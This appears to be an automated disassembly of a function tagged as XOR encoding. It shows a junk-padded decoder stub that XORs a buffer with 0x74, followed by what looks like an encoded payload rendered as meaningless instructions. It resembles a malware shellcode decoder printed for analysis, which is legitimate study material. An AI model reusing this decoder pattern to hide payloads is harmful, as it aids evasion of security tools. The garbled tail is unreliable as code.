Function at 0x7ffe8354
Capabilities:
Encode data using xor

Disassembly:
add eax, 0
add eax, 0
pop eax
stc
add eax, 0x11
mov byte [eax], 5
cld
stc
cld
call 0x7ffe8354
cld
stc
add eax, 5
and bh, 0xff
cld
stc
mov ecx, eax
clc
clc
stc
stc
call 0x7ffe8313
clc
and bh, 0xff
and bh, 0xff
pop eax
add eax, 0
add eax, 0
add eax, 0x15
cld
mov byte [eax], 5
call 0x7ffe84d6
cld
cld
nop
add eax, 5
nop
nop
xchg ecx, eax
add eax, 0
nop
cld
sub ecx, eax
cld
stc
stc
nop
xor byte [eax + ecx], 0x74
cld
pushal
inc eax
popal
lea esp, [esp]
loop 0x7ffe8341
and bh, 0xff
inc esi
dec esi
nop
pop ecx
pushfd
je 0x7ffe83cc
je 0x7ffe83ce
sub al, 0xf7
mov ah, 0x73
mov dl, 0x74
jno 0x7ffe82fe
sal dword [esp + esi*2 + 0x74], 0xf7
mov ah, 0x71
std
xor dword [eax + 0x7474749c], eax
je 0x7ffe839e
div dword [ebx + esi*2 - 0x638e8b4e]
jae 0x7ffe8328
je 0x7ffe83e9
pushfd
sal dword [esp + esi*2 + 0x74], 1
div dword [ecx + esi*2 - 0x7ddf0e03]
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe8400
je 0x7ffe83ba
adc al, byte [edi - 0x4c]
std
int1
cwde
test dword [ebx - 0x63dbd375], ecx
je 0x7ffe8410
je 0x7ffe8412
sub al, 0xb2
xor al, 0x71
jno 0x7ffe8340
dec esp
cmp dh, byte [esp + esi*2 - 9]
mov ah, 0x7e
std
int1
and al, 0x82
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe842b
je 0x7ffe83e5
mov dl, 0x34
jno 0x7ffe842e
xor al, 0x71
jno 0x7ffe835a
pushfd
cmp bl, byte [eax]
je 0x7ffe8436
div dword [esi + edi*2 - 0x7dd70e03]
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe8445
and al, 0x9c
je 0x7ffe8444
je 0x7ffe8446
je 0x7ffe83ff
sub al, 0xb2
xor al, 0x71
jno 0x7ffe8374
mov dl, 0x34
jno 0x7ffe8448
pushfd
xor byte [ebx - 0x4b087475], bh
jle 0x7ffe83dd
mov ah, 0x7e
std
xor dword [eax + 0x74f4cd2c], edx
je 0x7ffe845c
je 0x7ffe845b
je 0x7ffe83e8
inc dword [ecx]
nop
stc
leave
test byte [ebp - 0x2e787475], al
push dword [ecx]
add dword [eax - 0x7a7b3607], edx
mov ecx, dword [ebx + 0x31ffd187]
cmp ch, 0xf1
enter 0xffffffffffff8b8c, 0xffffffffffffff8b
invalid
or byte [ebx - 0x7fc6a075], 0xfd
mov ecx, dword [ebx - 0x27fc6a1]
cmp dword [eax + 0x258c39fd], eax
and esp, dword [esp + eax*8]
in al, 0xff
cmp dword [edi + edi*8 - 0x74733737], ecx
mov eax, dword [edi + 0x2d2b2cde]
mov ebp, 0xb634b447
js 0x7ffe8496
cmp dword [ebp - 0x1b3bdbdd], ecx
invalid
dec ecx
enter 0xffffffffffff8b8c, 0xffffffffffffff8b
xchg esi, ebx
sub al, 0x2b
sub eax, 0x34b447bd
sub ebp, dword [0x34b447bd]
mov dh, 0x78
je 0x7ffe8448
and eax, 0x8bcd2724
and al, 0x27
int 0x8b
mov ecx, dword [ebx + 0x7475cc8b]
jne 0x7ffe84a1
je 0x7ffe84a3
je 0x7ffe8442
adc bh, dl
cli
pushfd
pop edi
mov esp, 0x579ff812
lahf
push edi
lodsb al, byte [esi]
and dword [edi + 0x7bad5737], 0xffffffe1
mov ah, 1
wait
mov ch, 0x9d
popfd
push 0x7474749c
pushfd
je 0x7ffe84bd
je 0x7ffe84be
je 0x7ffe84bf
je 0x7ffe8478
sub al, 0x77
mov ch, 0x8b
xchg esp, eax
das
sub al, 0x2d
int3
ja 0x7ffe8403
mov edx, dword [edi + ebp + 0x75cc2d2c]
je 0x7ffe84cb
je 0x7ffe84cc
je 0x7ffe8416
mov ebp, 0x2d2c2fb7
mov bh, 0x2f
sub al, 0x2d
sub eax, 0x747467cd
int 0x67
je 0x7ffe84d5
je 0x7ffe8462
inc ecx
sub byte [edx - 0x36007475], al
and al, 0x82
shr dword [eax], 0x82
mov ecx, dword [ebx - 0x7ddb3601]
mov ecx, dword [ebx - 0x2f2e79]
loope 0x7ffe8498
or byte [ebx + 0x38b6f78b], 0xfd
mov dh, 0x38
std
loope 0x7ffe8419
test dword [ebx - 0x846075], ecx
int1
pushfd
test dword [ebx + 0x759cf78b], ecx
std
int1
pushfd
test dword [ebx - 0x63060075], ecx
test dword [ebx + 0x24f94f8b], ecx
or byte [ebx + 0x2479068b], 0xff
mov ecx, dword [edi - 7]
stc
and al, 0x82
mov ecx, dword [ebx - 0xdb86fa]
int1
pushfd
test dword [ebx - 0x49bb0b75], ecx
sub al, 0x9f
mov byte [0x74749c24], al
je 0x7ffe8526
sub al, 0xf7
mov ah, 0x73
mov dl, 0x74
jno 0x7ffe8456
pushfd
mov ecx, dword [ebx + 0x71b4f78b]
mov esi, edi
div dword [ecx + esi*2 + 0x7634fe4a]
cld
int1
add dword [edi - 0xe007475], 0xffffff98
mov ah, 0x71
dec edx
invalid
push ecx
int1
cwde
test dword [ebx + 0x24e18b8b], ecx
or byte [ebx - 0x2a988075], 0x5e
mov ecx, dword [ebx + 0x5ed5677f]
invalid
sar bh, cl
lea ebx, [ebx + 0x4cc535a]
xchg esi, eax
sbb al, 0x83
and al, 0x15
dec esi
push esp
fisttp dword [0x4ea37d98]
push ss
adc eax, 0x599d4d1e
xor byte [edx], ch
invalid